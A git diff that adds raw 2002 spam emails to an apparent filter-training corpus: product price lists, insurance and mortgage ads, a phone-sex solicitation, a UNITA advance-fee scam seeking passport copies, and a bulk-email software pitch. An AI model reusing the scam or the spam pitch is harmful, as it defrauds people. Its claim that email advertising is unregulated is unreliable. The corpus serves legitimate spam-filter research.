SDRAM w/TV USD 36.00 +Nvidia Geforce2 MX200 32MB SDRAM USD 31.00 +Nvidia Geforce2 MX200 64MB SDRAM w/TV USD 39.00 +Nvidia Geforce2 MX200 64MB SDRAM USD 34.00 +Nvidia TNT M64 2X/4X 32MB SDRAM w/TV USD 28.40 +Nvidia TNT M64 2X/4X 32MB SDRAM USD 23.40 +Nvidia TNT 16MB SDRAM USD CALL +Nvidia TNT 8MB SDRAM USD CALL + +ATI LT Pro 8MB SDRAM w/TV USD 9.50 +ATI IIC 8MB SDRAM USD 9.00 +ATI Rage Pro Turbo 8MB SDRAM USD 9.00 +ATI Rage 128 Pro 32MB SDRAM USD 24.00 +ATI Rage 128 Pro 32MB SDRAM w/TV USD CALL +ATI Radeon VE 2X/4X 32MB SDRAM USD 35.00 +ATI Radeon VE 32MB SDRAM w/CRT USD CALL +ATI Radeon VE 32MB SDRAM w/CRT+TV+CRT USD 45.50 +ATI Radeon VE 64MB SDRAM w/TV USD CALL +ATI Radeon VE 64MB SDRAM w/TV/CRT USD CALL +ATI Radeon VE 64MB DDRAM w/TV USD CALL +ATI Radeon 7500LE 64MB DDRAM w/CRT+TV+CRT w/PowerDVD USD 57.50 +ATI Radeon 7500 64MB DDRAM w/TV/DVI USD CALL +ATI Radeon 8500 64MB DDRAM w/CRT+TV+CRT w/PowerDVD USD 135.50 + +S3 Savage4 397 4X 32MB SDRAM USD 20.00 +S3 Trio 3D 368 2X 8MB SDRAM USD Call + +SIS 305 32MB SDRAM USD 19.00 +SIS 315E 32MB SDRAM USD 21.50 +SIS 6326 8MB SDRAM USD 10.00 +SIS 6326 PCI 8MB SDRAM USD 10.50 + +Trident 9750 4MB SDRAM USD 9.50 +Trident 9750 PCI 4MB SDRAM USD 9.50 + +Network Product: +Intel(Ambient)PCI 56k Int. Fax Modem w/voice USD 8.30 +Motorola PCI 56k Int. Fax Modem w/o voice USD 7.00 +Rockwell PCI 56k Int. Fax Modem w/voice USD 8.00 +Rockwell PCI 56k Int. Fax Modem USD 7.30 +Realtek PCI 10/100 8139C Lan Card USD 3.95 +Realtek PCI 10/100 8139C Lan Card w/WOL USD 4.00 +Realtek PCI 10/100 8139D Lan Card USD 3.70 +ESS 2838 PCI 56K Int. Fax Modem w/o voice USD 7.00 +Lucent PCI 56K Int. Fax Modem w/o voice USD 7.60 + +Controller Card: +PCI 4+1 Ports USB 2.0 Controller Card USD 13.50 +PCI 3+1 Ports Firewire 1394 Controller Card + (No Cable) USD 12.00 +iLink Cable USD 2.30 +2-Port PCI USB Host Card USD 5.50 +Ulead Video Editor Ver 5.0 USD 3.80 + +All subject final re-confirm. +Total order value over USD 10,000. FOBHK +Below, FORHK. +Price based on Bulk packing, with Driver and Manuel. + +Best regards +Kinson Wong +********************************************* +ASIA MAGIC (HK) LTD. +Unit 11, 7/F., Harry Industrial Bldg., +49-51 Au Pui Wan Street, +Fotan, Shatin. N.T. Hong Kong. +Tel: 852-26982550 +Fax: 852-26983186 +Mobile: 96687523 +E-mail: kinson@asiamagic.com +Website: www.asiamagic.com +********************************************* + + diff --git a/bayes/spamham/spam_2/00332.2b6d5012de45ae27edbda7f94c54636e b/bayes/spamham/spam_2/00332.2b6d5012de45ae27edbda7f94c54636e new file mode 100644 index 0000000..4549fac --- /dev/null +++ b/bayes/spamham/spam_2/00332.2b6d5012de45ae27edbda7f94c54636e @@ -0,0 +1,158 @@ +From jzlin@art.alcatel.fr Mon Jun 24 17:04:18 2002 +Return-Path: jzlin@art.alcatel.fr +Delivery-Date: Thu May 16 08:22:25 2002 +Received: from anchor-post-31.mail.demon.net + (anchor-post-31.mail.demon.net [194.217.242.89]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g4G7MMe23427 for ; + Thu, 16 May 2002 08:22:25 +0100 +Received: from emphal.demon.co.uk ([212.229.150.169] helo=denise) by + anchor-post-31.mail.demon.net with esmtp (Exim 3.35 #1) id + 178FNK-000Esh-0V; Thu, 16 May 2002 08:08:34 +0100 +Received: from 213.245.7.131 by denise ([212.229.150.169] running VPOP3) + with ESMTP; Thu, 16 May 2002 04:27:12 +0100 +Message-Id: <000053b9491a$00005f92$000016f9@mailgate.art-net.gr> +To: +From: "Customer Service" +Subject: 18cent long distance conference calls +Date: Wed, 15 May 2002 20:32:18 -1900 +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express +X-Server: VPOP3 V1.5.0a - Registered +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Take Control Of Your Conference Calls + + + +

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Annuities can also be used to fund fixed life +insurance policies. =09 + _____ =20 + +Call Tim Armstrong or e-mail us +today! + + 800-396-3622x5 +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 +=20 +We don't want anybody to receive our mailing who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +Legal Notice =20 + + +------=_NextPart_000_DD23E_01C1FCF4.FA928290 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +What is EMC Stock to Cash? + + + + + + =20 + + +
    =20 + + =20 + + + =20 + + + =20 + + + =20 + + +
    3D"STOCK
    3D'What
    =20 + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + +
    =20 +

    + Your client receives 90% of their stock = +portfolio
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    +
    =20 +

    + You invest this money in either an
    + annuity, life policy...or both     +

    =20 +

    + If the portfolio decreases in value,
    + your clients' investment remains intact     +

    =20 +

    + If the portfolio increases in value,
    + your clients receive the upside = +appreciation

    +
    =20 +

    + Reduces capital gains and estate taxes = +

    +
    +

    3D'Annuities
    + + =20 + + + =20 + + + =20 + + +
    + S2C=20 + allows you to wrap your favorite fixed annuities around = +your clients'=20 + existing stock portfolios, combining the safety features = +of tax-deferred=20 + annuities with the high growth potential of the nation's = +leading=20 + stock indices. Annuities can also be used to fund fixed = +life insurance=20 + policies. +
    =20 +
    + + Call Tim Armstrong or e-mail us = +today!
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    + 3D'800-396-3622x5'=20 +
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    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please fill out the form below for more = +information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +
    + + =20 + + +
    =20 +

    We=20 + don't want anybody to receive our mailing who does not = +wish to=20 + receive them. This is a professional communication sent = +to insurance=20 + professionals. To be removed from this mailing list, DO = +NOT REPLY=20 + to this message. Instead, go here: http://www.insurancemail.net + Legal = +Notice

    +
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call me let me Cummmmm for you.......................... + + +TOLL-FREE: 1-877-451-TEEN (1-877-451-8336) + +For phone billing: 1-900-993-2582 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +-- +_______________________________________________ +Sign-up for your own FREE Personalized E-mail at Mail.com +http://www.mail.com/?sr=signup + diff --git a/bayes/spamham/spam_2/00344.e6463530b23a12554d2e6f0e08ae10a7 b/bayes/spamham/spam_2/00344.e6463530b23a12554d2e6f0e08ae10a7 new file mode 100644 index 0000000..e347af4 --- /dev/null +++ b/bayes/spamham/spam_2/00344.e6463530b23a12554d2e6f0e08ae10a7 @@ -0,0 +1,106 @@ +From axolotl@madrid.com Mon Jun 24 17:04:31 2002 +Return-Path: axolotl@madrid.com +Delivery-Date: Fri May 17 09:03:15 2002 +Received: from ws1-5.us4.outblaze.com (205-158-62-51.outblaze.com + [205.158.62.51]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + g4H83Ee19643 for ; Fri, 17 May 2002 09:03:14 +0100 +Received: (qmail 88646 invoked by uid 1001); 17 May 2002 08:03:08 -0000 +Message-Id: <20020517080308.88645.qmail@mail.com> +Content-Type: text/plain; charset="iso-8859-1" +Content-Disposition: inline +MIME-Version: 1.0 +X-Mailer: MIME-tools 5.41 (Entity 5.404) +Received: from [213.96.188.148] by ws1-5.us4.outblaze.com with http for + axolotl@madrid.com; Fri, 17 May 2002 03:03:08 -0500 +From: "Wild Cats" +To: j._m._recendez@lamg.com, yyyyreilly@ccvax.ucd.ie, yyyyr@electroterapia.com, + jmrendle@loyno.edu, + jmrendle@loyno."edu\]", + jmr@hamptonu.edu, jm.rico@bjz.servicom.es, jm@ringsoft.co.uk, + jm-risks@jmason.org, jmrisley@email.uncc.edu +Date: Fri, 17 May 2002 03:03:08 -0500 +Subject: Call me 34472 +X-Originating-Ip: 213.96.188.148 +X-Originating-Server: ws1-5.us4.outblaze.com +X-Keywords: +Content-Transfer-Encoding: 7bit + + +Hello I am your hot lil horny toy. + I am the one you dream About, + I am a very open minded person, + Love to talk about and any subject. + + + Fantasy is my way of life, + Ultimate in sex play. + + Ummmmmmmmmmmmmm + I am Wet and ready for you. + + It is not your looks but your imagination that matters most, + With My sexy voice I can make your dream come true... + + Hurry Up! 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    + +5226171310 diff --git a/bayes/spamham/spam_2/00346.d93a823fb3350a5da8f0c612ce1156cd b/bayes/spamham/spam_2/00346.d93a823fb3350a5da8f0c612ce1156cd new file mode 100644 index 0000000..68cdee9 --- /dev/null +++ b/bayes/spamham/spam_2/00346.d93a823fb3350a5da8f0c612ce1156cd @@ -0,0 +1,110 @@ +From edum@hkem.com Mon Jun 24 17:04:26 2002 +Return-Path: dcms-dev-admin@eros.cs.jhu.edu +Delivery-Date: Fri May 17 01:53:20 2002 +Received: from eros.cs.jhu.edu (eros.cs.jhu.edu [128.220.223.245]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4H0rKe04014 for + ; Fri, 17 May 2002 01:53:20 +0100 +Received: from www.opencm.org (localhost.localdomain [127.0.0.1]) by + eros.cs.jhu.edu (8.11.6/8.11.6) with ESMTP id g4H16b703822; Thu, + 16 May 2002 21:06:37 -0400 +Received: from hkem.com ([212.100.64.82]) by eros.cs.jhu.edu + (8.11.6/8.11.6) with SMTP id g4H14Z703790 for ; + Thu, 16 May 2002 21:04:37 -0400 +Message-Id: <200205170104.g4H14Z703790@eros.cs.jhu.edu> +From: "edum" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-1" +Subject: [dcms-dev] MY INHERITANCE +Sender: dcms-dev-admin@eros.cs.jhu.edu +Errors-To: dcms-dev-admin@eros.cs.jhu.edu +X-Beenthere: dcms-dev@eros.cs.jhu.edu +X-Mailman-Version: 2.0.8 +Precedence: bulk +Reply-To: dcms-dev@eros.cs.jhu.edu +List-Help: +List-Post: +List-Subscribe: , + +List-Id: DCMS development list +List-Unsubscribe: , + +List-Archive: +Date: Fri, 17 May 2002 01:46:42 -0700 +X-Keywords: +Content-Transfer-Encoding: 8bit + +Date:May 16,2002. +Email:edum@hkem.com. + +Dear Sir, + +I am Mr.Eduado de Mello, one of the Principal +Commanders of the Union for the Total Independence of +Angola,UNITA.Well needless telling a very long story +here for our story is indeed interwoven with the +history of the world and the liberation struggle in +the Southern African region of the African continent. +The bubble burst just about some weeks ago today when my supreme +commander, the late Dr.Jonas Savimbi was killed in an +encounter with the government forces of the MPLA +government of my country.The rest is now history but +suffice it to say that I am tired of the unfortunate +role of waging a war against my fatherland.I have +therefore decided to pull out my troupes from the bush +even if the other field commanders decide otherwise am +therefore poised to effect a new beginning in my life +and I have decided to make South Africa my new home at +least for the interim period until I am sufficiently +sure that I would be welcome home whole heartedly by +the MPLA government in Luanda the capital of Angola. +Needles to say I was the single most important +commander who was very close to the late supreme +commander; Dr.Jonas Savimbi.Indeed because I am a +brother to one of his wives,he confided in me a great +deal.The result of such trust is my reason for +contacting you I was the commander whom he sent to +deposit the sum of Thirty two million USD ($32million) +with a security/finance company in South Africa.This +was immediately after the events of September 11,2001 +in the United States of America.Indeed it had become +increasingly difficult to move large volumes of money +around the world particularly for a liberation +movement like UNITA hence the recourse to keeping the +money with the security company in South Africa. I +have decided to inherit this money which was taken out +and deposited with the said security/finance company +as cash in Hundred dollar denominations.The money is +kept in my signature and would have been used in the +purchase of arms and ammunition for the purposes of +continuing the civil war in Angola.The supreme +commander is dead and as already stated I have decided +to quite the whole thing and this is without regard to +the fact that other commanders may wish to continue ! +I want to cooperate with you in my decision to inherit +the $32million.I am still in the bush here but I have +been able to establish contact with the company in +South Africa to the effect that I would soon come to +take possession of the money that I kept with them. +Note also that I deposited the money as a foreign +national who is the head of a Mining company in Angola +(Never as a commander of UNITA). If you are able to +cooperate with me over this am willing to give you 20% +of the $32million.Please come back to me through +email: edum@hkem.com.The security/finance +company is standing by to receive my instructions on +this and I will link you up with them as soon as you +are ready to take possession of the $32million. +Finally you are to note that in you reply, you are to +state your residential or company address and if +possible send a copy of your international passport so +as to assure me that my money is safe in your hands. +Yours truly, +Eduado de Mello + + + +_______________________________________________ +dcms-dev mailing list +dcms-dev@eros.cs.jhu.edu +http://www.eros-os.org/mailman/listinfo/dcms-dev diff --git a/bayes/spamham/spam_2/00347.fd43a734c2e77abee0ca8c508afce993 b/bayes/spamham/spam_2/00347.fd43a734c2e77abee0ca8c508afce993 new file mode 100644 index 0000000..fb4ade1 --- /dev/null +++ b/bayes/spamham/spam_2/00347.fd43a734c2e77abee0ca8c508afce993 @@ -0,0 +1,180 @@ +From tretewfdsfsd@hotmail.com Mon Jun 24 17:05:53 2002 +Return-Path: tretewfdsfsd@hotmail.com +Delivery-Date: Wed May 22 21:36:30 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4MKaCe26092 for + ; Wed, 22 May 2002 21:36:12 +0100 +Received: from tubopack.cl (qmailr@169-146.leased.cust.tie.cl + [200.54.169.146]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g4MKa8D00676 for ; Wed, 22 May 2002 21:36:10 +0100 +Received: (qmail 15953 invoked from network); 17 May 2002 01:10:50 -0000 +Received: from 213-97-113-174.uc.nombres.ttd.es (HELO mx14.hotmail.com) + (213.97.113.174) by 192.168.150.3 with SMTP; 17 May 2002 01:10:50 -0000 +Message-Id: <00006ed943d4$00002c5d$0000759a@mx14.hotmail.com> +To: +Cc: , , , + , , , + , , , + , , , + , , , + , , , + , , , + , , , + , , , + , , , + , , , + , , , + , , + , , , + , , +From: "Carlene Shirah" +Subject: *You CAN have the best MORTGAGE rate* 21570 +Date: Fri, 17 May 2002 07:47:02 -0300 +MIME-Version: 1.0 +Reply-To: tretewfdsfsd@hotmail.com +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +DEAR HOMEOWNER, + + + + + + + + + + + + + + + +
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    + + + +------=_NextPart_000_10C0D9_01C1FDBC.F2389D00-- diff --git a/bayes/spamham/spam_2/00352.206639789c6ba89977375c62856f20fc b/bayes/spamham/spam_2/00352.206639789c6ba89977375c62856f20fc new file mode 100644 index 0000000..922e764 --- /dev/null +++ b/bayes/spamham/spam_2/00352.206639789c6ba89977375c62856f20fc @@ -0,0 +1,348 @@ +From WEBMASTER@J-MEDICAL.ORG Mon Jun 24 17:04:44 2002 +Return-Path: mmailco@mail.com +Delivery-Date: Sat May 18 09:34:19 2002 +Received: from mail.titanhosts.net (ns2.titanhosts.net [194.93.140.152]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4I8YJe13098 for + ; Sat, 18 May 2002 09:34:19 +0100 +Message-Id: <200205180834.g4I8YJe13098@dogma.slashnull.org> +Received: from ([80.40.36.69]) by mail.titanhosts.net (Merak 4.2.1) with + SMTP id AAB36750; Sat, 18 May 2002 09:33:05 +0100 +From: WEBMASTER@J-MEDICAL.ORG +Reply-To: mmailco@mail.com +To: WEBMASTER@J-MEDICAL.ORG +Subject: Re: Account Information +Date: Sat, 18 May 2002 01:27:10 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="DEFAULT" + + + + + + +
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    +==> The PROFITS that Broadcast Email CAN GENERATE are AMAZING!!

    +** According to Forrester Research, a Broadcast Email Ad is up
    +** to 15 TIMES MORE LIKELY to Result in a Sale than a Banner Ad!

    +----- ---- --- -- - -
    +[COMPARISON OF INTERNET ADVERTISING METHODS]:
    +=========================================================
    +=> A 1/20 Page Targeted Web Site Banner Ad to 5 Million People
    + on the Internet can cost you about $100,000.

    +=> A 5 Page Targeted Direct Mail Advertisement to 1 Million People
    + through the Postal Service can cost you about $500,000.

    +=> A 50 Page Targeted HTML Broadcast Email Advertisement with
    + Pictures to 50,000,000 People through the Internet is Free.

    +...Which advertising method sounds most appealing to you?

    +=========================================================

    +"Targeted direct email advertising is the wave of the future.
    + By no other means can you effectively reach your market so
    + quickly and inexpensively." - ONLINE PROFITS NEWSLETTER

    +"Many business people are finding out that they can now advertise
    + in ways that they never could have afforded in the past. The
    + cost of sending mass e-mail is extremely low, and the response
    + rate is high and quick." - USA TODAY
    +
    +---- --- -- - -
    +[EXAMPLE OF A PERSONALIZED/TARGETED BROADCAST EMAIL]:
    +-------- ------- ------ ----- ---- --- -- - -
    +From: kate@cattiesinc.com
    +To: mary@commtomm.com
    +Subject: About Your Cat!

    +Hi Mary,

    +Are you interested in receiving up to 80% SAVINGS on CAT SUPPLIES?
    +If so, come visit our web site at: http://www.cattiesinc.com

    +=========================================================
    +=> With Broadcast Email Software, a Broadcast Email Advertisement
    +=> like this one can be AUTOMATICALLY sent to up to 1,000,000
    +=> PEOPLE on a DAILY BASIS with LESS than 2 MINUTES of YOUR TIME!

    +* IMT Strategies Reports an AVERAGE of a 16.4% CLICK THROUGH RATE
    + from users that have received a Broadcast Email Advertisement!

    +----- ---- --- -- - -
    +A EUROPEAN 2001 BENCHMARK STUDY
    +Conducted by Forrester Research Says:

    +1) 41% of Consumers Believe Email is a Good Way to Find out About
    + New Products.

    +2) 36% of Consumers in 13 Countries Read Most of the Promotional
    + Email they Receive and 9% Forward the Email to a Friend Because
    + They Think it is Valuable.

    +---- --- -- - -
    +BE PREPARED! You may receive A HUGE AMOUNT of orders within
    +minutes of sending out your first Broadcast Email Advertisement!

    +* According to Digital Impact, 85% of Broadcast Email Offers are
    + responded to within the FIRST 48 HOURS!

    +"When you reach people with e-mail, they're in a work mode, even
    + if they're not at work. They're sitting up, they're alert. You
    + catch them at a good moment, and if you do it right, you have a
    + really good shot of having them respond."
    + - WILLIAM THAMES [Revnet Direct Marketing VP]

    +---- --- -- - -
    +* An Arthur Anderson Online Panel reveals that 85% of Online Users
    + say that Broadcast Email Advertisements have LED TO A PURCHASE!"

    +"According to FloNetwork, US Consumers DISCOVER New Products and
    + Services 7+ TIMES MORE OFTEN through an Email Advertisement,
    + than through Search Engines, Magazines and Television COMBINED!"

    +Only a HANDFUL of Companies on the Internet have Discovered
    +Broadcast Email Advertising... => NOW YOU CAN BE ONE OF THEM!!

    +---- --- -- - -
    +=> United Messaging says there are 890+ MILLION EMAIL ADDRESSES!
    +=> GET READY! Now with Broadcast Email, You Can Reach them ALL
    +=> Thanks to our Broadcast Email Software!

    +Our Broadcast Email Software with DNS Technology Automatically
    +Creates 10 SUPER-FAST MAIL SERVERS on Your COMPUTER which are
    +then used to Send out Your Broadcast Emails to MILLIONS for FREE!

    +==> With our NEW EMAIL SENDING TECHNOLOGY...
    +==> Your Internet Provider's Mail Servers are NOT USED!

    +There are NO Federal Regulations or Laws on Email Advertising &
    +Now with Our Software => You Can Avoid Internet Provider Concerns!

    +=========================================================
    +=> If you send a Broadcast Email Advertisement to 50,000,000
    +=> People and Just 1 of 5,000 People Respond, You Can Generate
    +=> 10,000 EXTRA ORDERS! How Much EXTRA PROFIT is this for You?
    +=========================================================

    +------ ----- ---- --- -- - -
    +As Featured in: "The Boston Globe" (05/29/98),
    +"The Press Democrat" (01/08/99), "Anvil Media" (01/29/98):
    +=========================================================
    +[NIM Corporation Presents]: THE BROADCAST EMAIL PACKAGE
    +=========================================================
    +REQUIREMENTS: WIN 95/98/2000/ME/NT/XP or MAC SoftWindows/VirtualPC

    +[BROADCAST EMAIL SENDER SOFTWARE] ($479.00 Retail):
    + Our Broadcast Email Sender Software allows you the ability to
    + send out Unlimited, Personalized and Targeted Broadcast Email
    + Advertisements to OVER 500,000,000 People on the Internet at
    + the rate of up to 1,000,000 DAILY, AUTOMATICALLY and for FREE!
    + Have a List of Your Customer Email Addresses? Broadcast Email
    + Advertise to Them with our Software for FREE!

    +[TARGETED EMAIL EXTRACTOR SOFTWARE] ($299.00 Retail):
    + Our Targeted Email Extractor Software will Automatically
    + Navigate through the TOP 8 Search Engines, 50,000+ Newsgroups,
    + Millions of Web Sites, Deja News, Etc.. and Collect MILLIONS
    + of Targeted Email Addresses by using the keywords of your
    + choice! This is the ULTIMATE EXTRACTOR TOOL!

    +[15,000,000+ EMAIL ADDRESSES] ($495.00 Retail):
    + MILLIONS of the NEWEST & FRESHEST General Interest and
    + Regionally Targeted Email Addresses Separated by Area Code,
    + State, Province, and Country! From Alabama to Wyoming,
    + Argentina to Zimbabwe! 15,000,000+ FRESH EMAILS are YOURS!

    +[STEP BY STEP BROADCAST EMAIL PACKAGE INSTRUCTIONS]:
    + You will be Guided through the Entire Process of Installing
    + and Using our Broadcast Email Software to Send out Broadcast
    + Email Advertisements, like this one, to MILLIONS of PEOPLE for
    + FREE! Even if you have NEVER used a computer before, these
    + instructions make sending Broadcast Email as EASY AS 1-2-3!

    +[THE BROADCAST EMAIL HANDBOOK]:
    + The Broadcast Email Handbook will describe to you in detail,
    + everything you ever wanted to know about Broadcast Email!
    + Learn how to write a SUCCESSFUL Advertisement, how to manage
    + the HUNDREDS of NEW ORDERS you could start receiving, what
    + sells BEST via Broadcast Email, etc... This Handbook is a
    + NECESSITY for ANYONE involved in Broadcast Email!

    +[UNLIMITED CUSTOMER & TECHNICAL SUPPORT]:
    + If you ever have ANY questions, problems or concerns with
    + ANYTHING related to Broadcast Email, we include UNLIMITED
    + Customer & Technical Support to assist you! Our #1 GOAL
    + is CUSTOMER SATISFACTION!

    +[ADDITIONAL INFORMATION]:
    + Our Broadcast Email Software Package contains so many
    + features, that it would take five additional pages just to
    + list them all! Duplicate Removing, Automatic Personalization,
    + and Free Upgrades are just a few of the additional bonuses
    + included with our Broadcast Email Software Package!

    +------ ----- ---- --- -- - -
    +ALL TOGETHER our Broadcast Email Package contains EVERYTHING
    +YOU WILL EVER NEED for Your Entire Broadcast Email Campaign!

    +You Will Receive the ENTIRE Broadcast Email Package with
    +EVERYTHING Listed Above ($1,250.00+ RETAIL) for ONLY $499.00 US!
    +========================================================
    +BUT WAIT!! If You Order by Monday, May 20th, You Will
    +Receive the Broadcast Email Package for ONLY $295.00 US!!
    +========================================================
    +Order NOW and Receive [13,000,000 BONUS EMAILS] ($899 VALUE)
    +for FREE for a TOTAL of 28,000,000 FRESH EMAIL ADDRESSES!!
    +========================================================

    +Regardless, if you send to 1,000 or 100,000,000 PEOPLE...

    +You will NEVER encounter any additional charges ever again!
    +Our Broadcast Email Software sends Email for a LIFETIME for FREE!

    +----- ---- --- -- - -
    +Since 1997, we have been the Broadcast Email Marketing Authority.
    +Our #1 GOAL is to SEE YOU SUCCEED with Broadcast Email Advertising.

    +We are so confident about our Broadcast Email Package, that we are
    +giving you 30 DAYS to USE OUR ENTIRE PACKAGE FOR FREE!

    +==> You can SEND Unlimited Broadcast Email Advertisements!
    +==> You can EXTRACT Unlimited Targeted Email Addresses!
    +==> You can RECEIVE Unlimited Orders!

    +If you do not receive at least a 300% INCREASE in SALES or are not
    +100% COMPLETELY SATISFIED with each and every single aspect of our
    +Broadcast Email Package, simply return it to us within 30 DAYS for
    +a 100% FULL REFUND, NO QUESTIONS ASKED!!

    +Best of ALL, if you decide to keep our Broadcast Email Package, it
    +can be used as a 100% TAX WRITE OFF for your Business!

    +---- --- -- - -
    +See what users of our Broadcast Email Package have to say...
    +=========================================================

    +"Since using your program, I have made as much in two days as I
    + had in the previous two weeks!!!!! I have to say thank you for
    + this program - you have turned a hobby into a serious money
    + making concern."
    + = W. ROGERS - Chicago, IL

    +"We have used the software to send to all our members plus about
    + 100,000 off the disk you sent with the software and the response
    + we have had is just FANTASTIC!! Our visits and sales are nearly
    + at an all time high!"
    + = A. FREEMAN - England, UK

    +"I have received over 1200 visitors today and that was only
    + sending out to 10,000 email addresses!"
    + = K. SWIFT - Gunnison, CO

    +"I'm a happy customer of a few years now. Thanks a lot....I love
    + this program.."
    + = S. GALLAGHER - Melville, NY

    +"Thanks for your prompt filing of my order for your broadcast email
    + software -- it took only about a day. This is faster than ANYBODY
    + I have ever ordered something from! Thanks again!"
    + = W. INGERSOLL - Scottsdale, AZ

    +"I feel very good about referring the folks I have sent to you
    + thus far and will continue to do so. It is rare to find a company
    + that does business this way anymore...it is greatly appreciated."
    + = T. BLAKE - Phoenix, AZ

    +"Your software is a wonderful tool! A++++"
    + = S. NOVA - Los Angeles, CA

    +"Thank you for providing such a fantastic product."
    + = M. LOPEZ - Tucson, AZ

    +"Your tech support is the best I have ever seen!"
    + = G. GONZALEZ - Malibu, CA

    +"I am truly impressed with the level of service. I must admit I
    + was a bit skeptical when reading your ad but you certainly deliver!"
    + = I. BEAUDOIN - Toronto, ON

    +"My first go round gave me $3000 to $4000 in business in less than
    + one week so I must thank your company for getting me started."
    + = A. ROBERTS - San Francisco, CA

    +"We are really happy with your Email program. It has increased
    + our business by about 500%."
    + = M. JONES - Vancouver, BC

    +"IT REALLY WORKS!!!!! Thank you thank you, thank you."
    + = J. BECKLEY - Cupertino, CA

    +----- ---- --- -- - -
    +[SOUND TOO GOOD TO BE TRUE?]

    +** If you Broadcast Email to 500,000 Internet Users Daily...
    +** Do you think that maybe 1 of 5,000 may order?

    +=> If so... That is 100 EXTRA (COST-FREE) ORDERS EVERY DAY!!

    +Remember.. You have 30 DAYS to use our Broadcast Email Package
    +for FREE and SEE IF IT WORKS FOR YOU!

    +If YOU are not 100% COMPLETELY SATISFIED, SIMPLY RETURN the
    +Broadcast Email Package to us within 30 DAYS for a FULL REFUND!

    +--- -- - -
    +[BROADCAST EMAIL SOFTWARE PACKAGE]: Easy Ordering Instructions
    +=========================================================
    +=> Once your order is received we will IMMEDIATELY RUSH out the
    +=> Broadcast Email Package on CD-ROM to you via FEDEX PRIORITY
    +=> OVERNIGHT or 2-DAY PRIORITY INTERNATIONAL the SAME DAY FREE!

    +------- ------ ----- ---- --- -- - -
    +[TO ORDER BY PHONE]:
    +To order our Broadcast Email Software Package by phone with
    +a Credit Card or if you have any additional questions, please
    +call our Sales Department in the USA at:

    +=> (541)665-0400

    +** YOU CAN ORDER NOW! ALL Major Credit Cards are Accepted!

    +ORDER by 3PM PST (M-TH) TODAY -> Have it by 10am TOMORROW FREE!
    +EUROPEAN & FOREIGN Residents -> Have it within 2 WEEKDAYS FREE!

    +REMOVAL From Our Email List => CALL (206)208-4589

    +------- ------ ----- ---- --- -- - -
    +[TO ORDER BY FAX]:
    +To order our Broadcast Email Software Package by fax with a Credit
    +Card, please print out the order form at the bottom of this email
    +and complete all necessary blanks. Then, fax the completed order
    +form to our Order Department in the USA at:

    +=> (503)213-6416

    +------- ------ ----- ---- --- -- - -
    +[TO ORDER BY POSTAL MAIL]:
    +To order our Broadcast Email Software Package with a Cashiers
    +Check, Credit Card, US Money Order, US Personal Check, or US Bank
    +Draft by postal mail, please print out the order form at the
    +bottom of this email and complete all necessary blanks.

    +Send it along with payment of $295.00 US postmarked by Monday,
    +May 20th, or $499.00 US after Monday, May 20th to:

    +NIM Corporation
    +1314-B Center Drive #514
    +Medford,OR 97501
    +United States of America

    +----- ---- --- -- - -
    +"OVER 20,000 BUSINESSES come on the Internet EVERY single day...
    +If you don't send out Broadcast Email... YOUR COMPETITION WILL!"

    +------- ------ ----- ---- --- -- - -
    +[Broadcast Email Software Package]: ORDER FORM
    +(c)1997-2002 NIM Corporation. All Rights Reserved
    +=========================================================

    +Company Name: __________________________________________

    +Your Name: ______________________________________________

    +BILLING ADDRESS: ________________________________________

    +City: ___________________ State/Province: _____________________

    +Zip/Postal Code: __________ Country: __________________________

    +NON POBOX SHIPPING ADDRESS: ____________________________

    +City: ___________________ State/Province: _____________________

    +Zip/Postal Code: __________ Country: __________________________

    +Phone Number: ______________ Fax Number: ___________________

    +Email Address: ____________________________________________

    +** To Purchase by Credit Card, Please Complete the Following:

    +Visa [ ] Mastercard [ ] AmEx [ ] Discover [ ] Diners Club [ ]

    +Name on Credit Card: _______________________________________

    +CC Number: ____________________________ Exp. Date: _________

    +Amount to Charge Credit Card ($295.00 or $499.00): _______________

    +Signature: ________________________________________________

    +=========================================================



    + diff --git a/bayes/spamham/spam_2/00353.8d9f21930310041d8a0e17b0494e3a4a b/bayes/spamham/spam_2/00353.8d9f21930310041d8a0e17b0494e3a4a new file mode 100644 index 0000000..69b79fc --- /dev/null +++ b/bayes/spamham/spam_2/00353.8d9f21930310041d8a0e17b0494e3a4a @@ -0,0 +1,36 @@ +From lisa@freightmart.com Mon Jun 24 17:04:38 2002 +Return-Path: lisa@freightmart.com +Delivery-Date: Sat May 18 02:31:11 2002 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4I1VBe30577 for + ; Sat, 18 May 2002 02:31:11 +0100 +Received: from freightmart.com (116-154-239-64.pajo.com [64.239.154.116] + (may be forged)) by webnote.net (8.9.3/8.9.3) with SMTP id CAA15934 for + ; Sat, 18 May 2002 02:31:10 +0100 +From: lisa@freightmart.com +Message-Id: <200205180131.CAA15934@webnote.net> +Date: Fri, 17 May 2002 18:36:10 -0700 +To: yyyy@spamassassin.taint.org +X-Mailer: Version 5.0 +Subject: An Invitation to Advertise on Freightmart! +Organization: Freightmart.com Corporation +X-Keywords: +Content-Type: 